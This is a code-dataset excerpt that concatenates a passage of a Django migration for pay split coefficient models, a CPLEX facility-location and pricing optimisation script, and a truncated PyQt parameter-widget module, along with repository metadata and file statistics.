verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ("history_id", models.AutoField(primary_key=True, serialize=False)), ("history_date", models.DateTimeField()), ("history_change_reason", models.CharField(max_length=100, null=True)), ( "history_type", models.CharField( choices=[("+", "Created"), ("~", "Changed"), ("-", "Deleted")], max_length=1, ), ), ( "financial_code_to", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="forecast.financialcode", ), ), ( "financial_period", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="forecast.financialperiod", ), ), ( "history_user", models.ForeignKey( null=True, on_delete=django.db.models.deletion.SET_NULL, related_name="+", to=settings.AUTH_USER_MODEL, ), ), ], options={ "verbose_name": "historical pay split coefficient", "ordering": ("-history_date", "-history_id"), "get_latest_by": "history_date", }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name="UploadPaySplitCoefficient", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("created", models.DateTimeField(auto_now_add=True)), ("updated", models.DateTimeField(auto_now=True)), ( "directorate_code", models.CharField(max_length=6, verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ("row_number", models.IntegerField(default=0)), ( "financial_code_to", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="to_upload_split_file_uploadpaysplitcoefficients", to="forecast.financialcode", ), ), ( "financial_period", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="upload_split_file_uploadpaysplitcoefficients", to="forecast.financialperiod", ), ), ], options={ "abstract": False, "unique_together": {("financial_period", "financial_code_to")}, }, ), migrations.CreateModel( name="PreviousYearPaySplitCoefficient", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("created", models.DateTimeField(auto_now_add=True)), ("updated", models.DateTimeField(auto_now=True)), ( "directorate_code", models.CharField(max_length=6, verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ( "financial_code_to", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="to_upload_split_file_previousyearpaysplitcoefficients", to="previous_years.archivedfinancialcode", ), ), ( "financial_period", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="upload_split_file_previousyearpaysplitcoefficients", to="forecast.financialperiod", ), ), ( "financial_year", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, to="core.financialyear", ), ), ], options={ "unique_together": { ("financial_year", "financial_period", "financial_code_to") }, }, ), migrations.CreateModel( name="PaySplitCoefficient", fields=[ ( "id", models.BigAutoField( auto_created=True, primary_key=True, serialize=False, verbose_name="ID", ), ), ("created", models.DateTimeField(auto_now_add=True)), ("updated", models.DateTimeField(auto_now=True)), ( "directorate_code", models.CharField(max_length=6, verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ( "financial_code_to", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="to_upload_split_file_paysplitcoefficients", to="forecast.financialcode", ), ), ( "financial_period", models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name="upload_split_file_paysplitcoefficients", to="forecast.financialperiod", ), ), ], options={ "permissions": [ ("can_upload_percentage_files", "Can upload percentage files") ], "abstract": False, "unique_together": {("financial_period", "financial_code_to")}, }, ), ]

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1

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null

0

8

1dfbfdb6f5067433061ca43ed950db4cb242baf6

22,824

py

Python

benders-facility-location-pricing/model_discrete_assortment.py

stefanoborto/optimization-equilibrium-dcm

3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d

[ "MIT" ]

null

benders-facility-location-pricing/model_discrete_assortment.py

stefanoborto/optimization-equilibrium-dcm

3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d

[ "MIT" ]

null

benders-facility-location-pricing/model_discrete_assortment.py

stefanoborto/optimization-equilibrium-dcm

3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d

[ "MIT" ]

null

# CPLEX model for the choice-based facility location # and pricing problem with discrete prices (compact formulation) # Alternatives are duplicated to account for different possible price levels. # General import time import numpy as np # CPLEX import cplex from cplex.exceptions import CplexSolverError # Project import functions # Data #import data_N80_I14 as data_file import data_N08_I10 as data_file def getModel(data): # Initialize the model t_in = time.time() model = cplex.Cplex() # Set number of threads #model.parameters.threads.set(model.get_num_cores()) model.parameters.threads.set(1) print('\n############\nTHREADS = ', end='') print(model.parameters.threads.get()) print('############\n') ########################################## ##### ----- OBJECTIVE FUNCTION ----- ##### ########################################## model.objective.set_sense(model.objective.sense.maximize) ########################################## ##### ----- DECISION VARIABLES ----- ##### ########################################## # Customer choice variables objVar = [] typeVar = [] nameVar = [] lbVar = [] ubVar = [] for i in range(data['I_tot_exp']): for n in range(data['N']): for r in range(data['R']): if data['operator'][data['alt'][i]] == 1: objVar.append((data['p'][i] - data['customer_cost'][data['alt'][i]]) * data['popN'][n]/data['R']) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']') lbVar.append(0.0) ubVar.append(1.0) model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], lb = [lbVar[i] for i in range(len(typeVar))], ub = [ubVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Facility location variables objVar = [] typeVar = [] nameVar = [] for i in range(data['I_tot_exp']): if data['operator'][data['alt'][i]] == 1: objVar.append(-data['fixed_cost'][data['alt'][i]]) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('y[' + str(i) + ']') model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Auxiliary demand variables typeVar = [] nameVar = [] lbVar = [] ubVar = [] for i in range(data['I_tot_exp']): typeVar.append(model.variables.type.continuous) nameVar.append('d[' + str(i) + ']') lbVar.append(0.0) ubVar.append(data['Pop']) model.variables.add(types = [typeVar[i] for i in range(len(typeVar))], lb = [lbVar[i] for i in range(len(typeVar))], ub = [ubVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) print('\nCPLEX model: all decision variables added. N variables: %r. Time: %r'\ %(model.variables.get_num(), round(time.time()-t_in,2))) # Creating a dictionary that maps variable names to indices, to speed up constraints creation nameToIndex = { n : j for j, n in enumerate(model.variables.get_names()) } ######################################### ##### -------- CONSTRAINTS -------- ##### ######################################### indicesConstr = [] coefsConstr = [] sensesConstr = [] rhsConstr = [] ################################################### ### ------ Instance-specific constraints ------ ### ################################################### ### --- Instance-specific constraints on the binary variables --- ### for i in range(data['I_out_exp']): indicesConstr.append([nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0]) sensesConstr.append('E') rhsConstr.append(1.0) ### --- Choose at most one price level per alternative --- ### for alt in range(data['I_opt_out'], data['I_tot']): ind = [] co = [] for i in range(data['I_out_exp'], data['I_tot_exp']): if data['alt'][i] == alt: ind.append(nameToIndex['y[' + str(i) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('L') rhsConstr.append(1.0) ################################################### ### ------------ Choice constraints ----------- ### ################################################### # Each customer chooses one alternative for n in range(data['N']): for r in range(data['R']): ind = [] co = [] for i in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('E') rhsConstr.append(1.0) # A customer cannot choose an alternative that is not offered for i in range(data['I_tot_exp']): for n in range(data['N']): for r in range(data['R']): indicesConstr.append([nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']'], nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0, -1.0]) sensesConstr.append('L') rhsConstr.append(0.0) # A customer chooses the alternative with the highest utility for i in range(data['I_tot_exp']): for n in range(data['N']): for r in range(data['R']): ind = [] co = [] for j in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(j) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(data['U'][j,n,r]) ind.append(nameToIndex['y[' + str(i) + ']']) co.append(-data['U'][i,n,r]) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('G') rhsConstr.append(0.0) ####################################### #### ---- Auxiliary constraints --- ### ####################################### ### Calculating demands (not part of the model) for i in range(data['I_tot_exp']): ind = [] co = [] for n in range(data['N']): for r in range(data['R']): ind.append(nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(-data['popN'][n]/data['R']) ind.append(nameToIndex['d[' + str(i) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('E') rhsConstr.append(0.0) model.linear_constraints.add(lin_expr = [[indicesConstr[i], coefsConstr[i]] for i in range(len(indicesConstr))], senses = [sensesConstr[i] for i in range(len(sensesConstr))], rhs = [rhsConstr[i] for i in range(len(rhsConstr))]) print('CPLEX model: all constraints added. N constraints: %r. Time: %r\n'\ %(model.linear_constraints.get_num(), round(time.time()-t_in,2))) return model def solveModel(data, model): try: #model.set_results_stream(None) #model.set_warning_stream(None) model.solve() ### PRINT OBJ FUNCTION print('Objective function value (maximum profit): {:10.4f}'.format(model.solution.get_objective_value())) ### INITIALIZE DICTIONARY OF RESULTS AND SAVE RESULTS results = {} results['facilities'] = np.empty(data['I_tot_exp']) results['demand'] = np.empty(data['I_tot_exp']) for i in range(data['I_tot_exp']): results['facilities'][i] = model.solution.get_values('y[' + str(i) + ']') results['demand'][i] = model.solution.get_values('d[' + str(i) + ']') ### PRINT PRICES, DEMANDS, PROFITS print('\nAlt Name Supplier Facility Price Demand Market share') for i in range(data['I_tot_exp']): print('{:3d} {:6s} {:2d} {:4.0f} {:6.4f} {:8.3f} {:7.4f}' .format(i, data['name_mapping'][data['alt'][i]], data['operator'][data['alt'][i]], results['facilities'][i], data['p'][i], results['demand'][i], results['demand'][i] / data['Pop'])) return results except CplexSolverError: raise Exception('Exception raised during solve') def modelOneScenario(data, r): print('SCENARIO {:4d} '.format(r), end='') model = cplex.Cplex() ########################################## ##### ----- OBJECTIVE FUNCTION ----- ##### ########################################## model.objective.set_sense(model.objective.sense.maximize) ########################################## ##### ----- DECISION VARIABLES ----- ##### ########################################## # Customer choice variables objVar = [] typeVar = [] nameVar = [] lbVar = [] ubVar = [] for i in range(data['I_tot_exp']): for n in range(data['N']): if data['operator'][data['alt'][i]] == 1: objVar.append((data['p'][i] - data['customer_cost'][data['alt'][i]]) * data['popN'][n]) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']') lbVar.append(0.0) ubVar.append(1.0) model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], lb = [lbVar[i] for i in range(len(typeVar))], ub = [ubVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Facility location variables objVar = [] typeVar = [] nameVar = [] for i in range(data['I_tot_exp']): if data['operator'][data['alt'][i]] == 1: objVar.append(-data['fixed_cost'][data['alt'][i]]) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('y[' + str(i) + ']') model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Creating a dictionary that maps variable names to indices, to speed up constraints creation nameToIndex = { n : j for j, n in enumerate(model.variables.get_names()) } ######################################### ##### -------- CONSTRAINTS -------- ##### ######################################### indicesConstr = [] coefsConstr = [] sensesConstr = [] rhsConstr = [] ### --- Instance-specific constraints on the binary variables --- ### for i in range(data['I_out_exp']): indicesConstr.append([nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0]) sensesConstr.append('E') rhsConstr.append(1.0) for i in range(data['I_out_exp'], data['I_tot_exp']): if data['list_open'][i] == 1: indicesConstr.append([nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0]) sensesConstr.append('E') rhsConstr.append(1.0) ### --- Choose at most one price level per alternative --- ### for alt in range(data['I_opt_out'], data['I_tot']): ind = [] co = [] for i in range(data['I_out_exp'], data['I_tot_exp']): if data['alt'][i] == alt: ind.append(nameToIndex['y[' + str(i) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('L') rhsConstr.append(1.0) # Each customer chooses one alternative for n in range(data['N']): ind = [] co = [] for i in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('E') rhsConstr.append(1.0) # A customer cannot choose an alternative that is not offered for i in range(data['I_tot_exp']): for n in range(data['N']): indicesConstr.append([nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']'], nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0, -1.0]) sensesConstr.append('L') rhsConstr.append(0.0) # A customer chooses the alternative with the highest utility for i in range(data['I_tot_exp']): for n in range(data['N']): ind = [] co = [] for j in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(j) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(data['U'][j,n,r]) ind.append(nameToIndex['y[' + str(i) + ']']) co.append(-data['U'][i,n,r]) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('G') rhsConstr.append(0.0) model.linear_constraints.add(lin_expr = [[indicesConstr[i], coefsConstr[i]] for i in range(len(indicesConstr))], senses = [sensesConstr[i] for i in range(len(sensesConstr))], rhs = [rhsConstr[i] for i in range(len(rhsConstr))]) ######################################### ##### ----------- SOLVE ----------- ##### ######################################### try: model.set_results_stream(None) #model.set_warning_stream(None) model.parameters.timelimit.set(172000.0) model.solve() OF = model.solution.get_objective_value() y = np.empty(data['I_tot_exp']) for i in range(data['I_tot_exp']): y[i] = model.solution.get_values('y[' + str(i) + ']') print(' OF {:10.4f}'.format(OF)) except CplexSolverError: raise Exception('Exception raised during solve') return OF, y def modelOneCustomer(data, n): print('CUSTOMER {:4d} '.format(n), end='') model = cplex.Cplex() ########################################## ##### ----- OBJECTIVE FUNCTION ----- ##### ########################################## model.objective.set_sense(model.objective.sense.maximize) ########################################## ##### ----- DECISION VARIABLES ----- ##### ########################################## # Customer choice variables objVar = [] typeVar = [] nameVar = [] lbVar = [] ubVar = [] for i in range(data['I_tot_exp']): for r in range(data['R']): if data['operator'][data['alt'][i]] == 1: objVar.append((data['p'][i] - data['customer_cost'][data['alt'][i]]) * data['popN'][n] / data['R']) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']') lbVar.append(0.0) ubVar.append(1.0) model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], lb = [lbVar[i] for i in range(len(typeVar))], ub = [ubVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Facility location variables (fixed cost is adapted to F_i / |N|) objVar = [] typeVar = [] nameVar = [] for i in range(data['I_tot_exp']): if data['operator'][data['alt'][i]] == 1: objVar.append(-data['fixed_cost'][data['alt'][i]] * data['popN'][n] / data['Pop']) else: objVar.append(0.0) typeVar.append(model.variables.type.binary) nameVar.append('y[' + str(i) + ']') model.variables.add(obj = [objVar[i] for i in range(len(objVar))], types = [typeVar[i] for i in range(len(typeVar))], names = [nameVar[i] for i in range(len(nameVar))]) # Creating a dictionary that maps variable names to indices, to speed up constraints creation nameToIndex = { n : j for j, n in enumerate(model.variables.get_names()) } ######################################### ##### -------- CONSTRAINTS -------- ##### ######################################### indicesConstr = [] coefsConstr = [] sensesConstr = [] rhsConstr = [] ### --- Instance-specific constraints on the binary variables --- ### for i in range(data['I_out_exp']): indicesConstr.append([nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0]) sensesConstr.append('E') rhsConstr.append(1.0) for i in range(data['I_out_exp'], data['I_tot_exp']): if data['list_open'][i] == 1: indicesConstr.append([nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0]) sensesConstr.append('E') rhsConstr.append(1.0) ### --- Choose at most one price level per alternative --- ### for alt in range(data['I_opt_out'], data['I_tot']): ind = [] co = [] for i in range(data['I_out_exp'], data['I_tot_exp']): if data['alt'][i] == alt: ind.append(nameToIndex['y[' + str(i) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('L') rhsConstr.append(1.0) # The customer chooses one alternative for r in range(data['R']): ind = [] co = [] for i in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(1.0) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('E') rhsConstr.append(1.0) # The customer cannot choose an alternative that is not offered for i in range(data['I_tot_exp']): for r in range(data['R']): indicesConstr.append([nameToIndex['x[' + str(i) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']'], nameToIndex['y[' + str(i) + ']']]) coefsConstr.append([1.0, -1.0]) sensesConstr.append('L') rhsConstr.append(0.0) # The customer chooses the alternative with the highest utility for i in range(data['I_tot_exp']): for r in range(data['R']): ind = [] co = [] for j in range(data['I_tot_exp']): ind.append(nameToIndex['x[' + str(j) + ']' + '[' + str(n) + ']' + '[' + str(r) + ']']) co.append(data['U'][j,n,r]) ind.append(nameToIndex['y[' + str(i) + ']']) co.append(-data['U'][i,n,r]) indicesConstr.append(ind) coefsConstr.append(co) sensesConstr.append('G') rhsConstr.append(0.0) model.linear_constraints.add(lin_expr = [[indicesConstr[i], coefsConstr[i]] for i in range(len(indicesConstr))], senses = [sensesConstr[i] for i in range(len(sensesConstr))], rhs = [rhsConstr[i] for i in range(len(rhsConstr))]) ######################################### ##### ----------- SOLVE ----------- ##### ######################################### try: model.set_results_stream(None) #model.set_warning_stream(None) model.parameters.timelimit.set(172000.0) model.solve() OF = model.solution.get_objective_value() y = np.empty(data['I_tot_exp']) for i in range(data['I_tot_exp']): y[i] = model.solution.get_values('y[' + str(i) + ']') print(' OF {:10.4f}'.format(OF)) except CplexSolverError: raise Exception('Exception raised during solve') return OF, y if __name__ == '__main__': nSimulations = 1 for seed in range(1,nSimulations+1): if nSimulations > 1: print('\n\n\n\n\n---------\nSEED ={:3d}\n---------\n\n'.format(seed)) t_0 = time.time() # Read instance and print aggregate customer data data = data_file.getData(seed) data_file.printCustomers(data) # Calculate utilities for all alternatives (1 per discrete price) functions.discretePriceAlternativeDuplication(data) data_file.preprocessUtilities(data) functions.calcDuplicatedUtilities(data) t_1 = time.time() #Solve choice-based optimization problem model = getModel(data) #model.parameters.preprocessing.presolve.set(0) results = solveModel(data, model) t_2 = time.time() print('\n -- TIMING -- ') print('Get data + Preprocess: {:10.5f} sec'.format(t_1 - t_0)) print('Run the model: {:10.5f} sec'.format(t_2 - t_1)) print('\n ------------ ')

38.167224

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0.060305

0.037489

0.06873

0.818896

0.800246

0.794945

0.794566

0.778377

0.776011

0

0.011049

0.314012

22,824

597

119

38.231156

0.663601

0.114266

0

0.844388

0

0.002551

0.087384

0.00379

0

1

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false

0

0.015306

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0.045918

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null

0

7

698154120abee0087ee3efff678b97d65ae8d6ba

26,489

py

Python

MirrorMirror/augmenters/param.py

RubanSeven/MirrorMirror

47c7a1f458f87c536d068fcf249625f426920cc3

[ "Apache-2.0" ]

2

2021-07-07T13:21:11.000Z

2021-09-24T06:57:16.000Z

MirrorMirror/augmenters/param.py

RubanSeven/MirrorMirror

47c7a1f458f87c536d068fcf249625f426920cc3

[ "Apache-2.0" ]

null

MirrorMirror/augmenters/param.py

RubanSeven/MirrorMirror

47c7a1f458f87c536d068fcf249625f426920cc3

[ "Apache-2.0" ]

null

# -*- coding:utf-8 -*- """ @author: RubanSeven @project: MirrorMirror """ from ..theme import * from ..utils.layout import clear_layout INDENT = 24 class ParamBase(object): def __init__(self): self.name = '' self.type = '' self.value_range = None self.describe = '' self.value = None self.value_changed = None def get_value(self): return self.value def set_value_changed_fun(self, value_changed): self.value_changed = value_changed class IntParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'int' self.name = name if type(value_range) is not tuple or len(value_range) != 2: assert 'value_range is not tuple or length != 2' if type(value_range[0]) is not int or type(value_range[0]) is not int: assert 'value_range is not int tuple' self.value_range = value_range self.describe = describe self.value = default self.spin_box = None def to_widget(self): # 水平方向 self.spin_box = ParamSpinBox() # 设置最小值 self.spin_box.setMinimum(self.value_range[0]) # 设置最大值 self.spin_box.setMaximum(self.value_range[1]) if self.value is None: self.value = int(round((self.value_range[0] + self.value_range[1]) / 2.)) self.spin_box.setValue(self.value) self.spin_box.valueChanged.connect(self.box_value_changed) if self.name is not None: frame = ParamFrame() layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addWidget(self.spin_box) layout.addLayout(content_layout) frame.setLayout(layout) return frame else: return self.spin_box def box_value_changed(self): self.value = self.spin_box.value() if self.value_changed is not None: self.value_changed() class FloatParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'float' self.name = name if type(value_range) is not tuple or len(value_range) != 2: assert 'value_range is not tuple or length != 2' if type(value_range[0]) is not float or type(value_range[0]) is not float: assert 'value_range is not float tuple' self.value_range = value_range self.describe = describe self.value = default self.spin_box = None def to_widget(self): # 水平方向 self.spin_box = ParamDoubleSpinBox() # 设置最小值 self.spin_box.setMinimum(self.value_range[0]) # 设置最大值 self.spin_box.setMaximum(self.value_range[1]) if self.value is None: self.value = int(round((self.value_range[0] + self.value_range[1]) / 2.)) self.spin_box.setValue(self.value) self.spin_box.valueChanged.connect(self.box_value_changed) if self.name is not None: frame = ParamFrame() layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addWidget(self.spin_box) layout.addLayout(content_layout) frame.setLayout(layout) return frame else: return self.spin_box def box_value_changed(self): self.value = self.spin_box.value() if self.value_changed is not None: self.value_changed() class IntRangeParam(ParamBase): def __init__(self, value_ranges, default, describe='', name=None): super().__init__() self.type = 'IntRange' self.name = name if type(value_ranges) is not tuple or len(value_ranges) != 2: assert 'value_ranges except ((a, b), (c,d))' for value_range in value_ranges: if type(value_range) is not tuple or len(value_range) != 2: assert 'value_ranges except ((a, b), (c,d))' self.value_ranges = value_ranges self.value = default self.describe = describe self.__min_spin_box = None self.__max_spin_box = None def to_widget(self): layout = QHBoxLayout() layout.setContentsMargins(0, 0, 0, 0) # if self.name is not None: # layout.addSpacing(INDENT) if self.value is None: self.value = (int(round((self.value_ranges[0][0] + self.value_ranges[0][1]) / 2.)), int(round((self.value_ranges[1][0] + self.value_ranges[1][1]) / 2.))) # 水平方向 self.__min_spin_box = ParamSpinBox() # 设置最小值 self.__min_spin_box.setMinimum(self.value_ranges[0][0]) # 设置最大值 self.__min_spin_box.setMaximum(self.value_ranges[0][1]) self.__min_spin_box.setValue(self.value[0]) self.__min_spin_box.valueChanged.connect(self.min_box_value_changed) layout.addWidget(self.__min_spin_box) txt_label = QLabel('至') txt_label.setMaximumWidth(24) layout.addWidget(txt_label) # 水平方向 self.__max_spin_box = ParamSpinBox() # 设置最小值 self.__max_spin_box.setMinimum(self.value_ranges[1][0]) # 设置最大值 self.__max_spin_box.setMaximum(self.value_ranges[1][1]) self.__max_spin_box.setValue(self.value[1]) self.__max_spin_box.valueChanged.connect(self.max_box_value_changed) layout.addWidget(self.__max_spin_box) frame = ParamFrame() if self.name is not None: frame_layout = QVBoxLayout() label = LabelText(self.name) frame_layout.addWidget(label) frame_layout.addLayout(layout) frame.setLayout(layout) else: frame.setLayout(layout) return frame def min_box_value_changed(self): if self.__min_spin_box.value() >= self.value[1]: self.__min_spin_box.setValue(self.value[0]) self.value = (self.__min_spin_box.value(), self.__max_spin_box.value()) if self.value_changed is not None: self.value_changed() def max_box_value_changed(self): if self.__max_spin_box.value() <= self.value[0]: self.__max_spin_box.setValue(self.value[1]) self.value = (self.__min_spin_box.value(), self.__max_spin_box.value()) if self.value_changed is not None: self.value_changed() class FloatRangeParam(ParamBase): def __init__(self, value_ranges, default, describe='', name=None): super().__init__() self.type = 'FloatRange' self.name = name if type(value_ranges) is not tuple or len(value_ranges) != 2: assert 'value_ranges except ((a, b), (c,d))' for value_range in value_ranges: if type(value_range) is not tuple or len(value_range) != 2: assert 'value_ranges except ((a, b), (c,d))' self.value_ranges = value_ranges self.value = default self.describe = describe self.__min_spin_box = None self.__max_spin_box = None def to_widget(self): layout = QHBoxLayout() layout.setContentsMargins(0, 0, 0, 0) # if self.name is not None: # layout.addSpacing(INDENT) if self.value is None: self.value = (int(round((self.value_ranges[0][0] + self.value_ranges[0][1]) / 2.)), int(round((self.value_ranges[1][0] + self.value_ranges[1][1]) / 2.))) # 水平方向 self.__min_spin_box = ParamDoubleSpinBox() # 设置最小值 self.__min_spin_box.setMinimum(self.value_ranges[0][0]) # 设置最大值 self.__min_spin_box.setMaximum(self.value_ranges[0][1]) self.__min_spin_box.setValue(self.value[0]) self.__min_spin_box.valueChanged.connect(self.min_box_value_changed) layout.addWidget(self.__min_spin_box) txt_label = QLabel('至') txt_label.setMaximumWidth(24) layout.addWidget(txt_label) # 水平方向 self.__max_spin_box = ParamDoubleSpinBox() # 设置最小值 self.__max_spin_box.setMinimum(self.value_ranges[1][0]) # 设置最大值 self.__max_spin_box.setMaximum(self.value_ranges[1][1]) self.__max_spin_box.setValue(self.value[1]) self.__max_spin_box.valueChanged.connect(self.max_box_value_changed) layout.addWidget(self.__max_spin_box) frame = ParamFrame() if self.name is not None: frame_layout = QVBoxLayout() label = LabelText(self.name) frame_layout.addWidget(label) frame_layout.addLayout(layout) frame.setLayout(frame_layout) else: frame.setLayout(layout) return frame def min_box_value_changed(self): if self.__min_spin_box.value() >= self.value[1]: self.__min_spin_box.setValue(self.value[0]) self.value = (self.__min_spin_box.value(), self.__max_spin_box.value()) if self.value_changed is not None: self.value_changed() def max_box_value_changed(self): if self.__max_spin_box.value() <= self.value[0]: self.__max_spin_box.setValue(self.value[1]) self.value = (self.__min_spin_box.value(), self.__max_spin_box.value()) if self.value_changed is not None: self.value_changed() class IntListParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'IntList' self.name = name if type(value_range) is not tuple: assert 'value_range is not tuple' self.value_range = value_range self.describe = describe self.value = default self.__value_edit = None def to_widget(self): # 水平方向 self.__value_edit = ParamLineEdit() if self.value is None or not self.__check_form(self.value): self.value = '' # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) self.__value_edit.setText(self.value) self.__value_edit.textChanged.connect(self.text_changed) if self.name is not None: frame = ParamFrame() layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addWidget(self.__value_edit) layout.addLayout(content_layout) frame.setLayout(layout) return frame else: return self.__value_edit @staticmethod def __check_form(txt: str): try: for i in txt.split(','): try: int(i) except: return False except: return False return True def text_changed(self): if self.__check_form(self.__value_edit.text()): self.value = self.__value_edit.text() if self.value_changed is not None: self.value_changed() def get_value(self): return [int(i) for i in self.value.split(',')] class FloatListParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'FloatList' self.name = name if type(value_range) is not tuple: assert 'value_range is not tuple' self.value_range = value_range self.describe = describe self.value = default self.__value_edit = None def to_widget(self): # 水平方向 self.__value_edit = ParamLineEdit() if self.value is None or not self.__check_form(self.value): self.value = '' # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) self.__value_edit.setText(self.value) self.__value_edit.textChanged.connect(self.text_changed) if self.name is not None: frame = ParamFrame() layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() content_layout.setContentsMargins(0, 0, 0, 0) # content_layout.addSpacing(INDENT) content_layout.addWidget(self.__value_edit) layout.addLayout(content_layout) frame.setLayout(layout) return frame else: return self.__value_edit @staticmethod def __check_form(txt: str): try: for i in txt.split(','): try: float(i) except: return False except: return False return True def text_changed(self): if self.__check_form(self.__value_edit.text()): self.value = self.__value_edit.text() if self.value_changed is not None: self.value_changed() def get_value(self): return [float(i) for i in self.value.split(',')] class EnumListParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'EnumFloatList' self.name = name if type(value_range) is not tuple: assert 'value_range is not tuple' self.value_range = value_range self.describe = describe self.value = default self.__value_edit = None def to_widget(self): # 水平方向 self.__value_edit = QLineEdit() if self.value is None or not self.__check_form(self.value): self.value = '' # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) self.__value_edit.setText(self.value) self.__value_edit.textChanged.connect(self.text_changed) if self.name is not None: frame = ParamFrame() layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # 